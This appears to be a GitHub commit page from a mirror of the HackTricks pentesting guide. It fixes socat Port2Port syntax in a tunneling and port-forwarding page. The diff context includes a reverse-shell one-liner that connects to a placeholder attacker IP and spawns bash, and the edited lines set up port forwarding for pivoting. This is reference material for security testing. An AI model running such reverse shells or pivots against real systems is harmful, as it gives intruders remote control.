1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

Update tunneling-and-port-forwarding.md

Fixed error for socat Port2Port. Colon should be used to specify port instead of using comma.
This commit is contained in:
Roxas77 2021-01-09 14:26:21 +08:00 committed by GitHub
parent 06915d8d21
commit 7a7805b5d4
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -206,7 +206,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &
socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
```
### Port2Port through socks